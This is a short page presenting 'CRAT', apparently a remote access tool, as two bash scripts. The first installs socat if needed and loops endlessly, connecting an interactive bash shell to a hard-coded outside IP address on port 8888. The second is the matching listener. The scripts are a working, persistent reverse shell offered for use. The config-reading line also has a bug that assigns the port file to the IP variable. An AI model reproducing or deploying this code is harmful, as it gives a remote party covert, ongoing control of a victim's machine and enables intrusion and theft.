CRAT - Reverse shell

crat.sh

#/bin/bash

if [ ! -x "$(command -v socat)" ]; then sudo apt install -y socat; fi

while true
do
  # check if the file ip-address.txt exists
  if [ -f /etc/crat_config/rev_ip.txt ]; then rev_ip=$(cat /etc/crat_config/rev_ip.txt); fi
  if [ -f /etc/crat_config/rev_port.txt ]; then rev_ip=$(cat /etc/crat_config/rev_port.txt); fi

  # check if the variable rev_ip is empty if so set the default value to 172.104.240.146
  if [ -z "$rev_ip" ]; then rev_ip="172.104.240.146"; fi
  if [ -z "$rev_port" ]; then rev_port="8888"; fi

  socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$rev_ip:$rev_port
done

rev_shell.sh

socat file:`tty`,raw,echo=0 tcp-listen:$1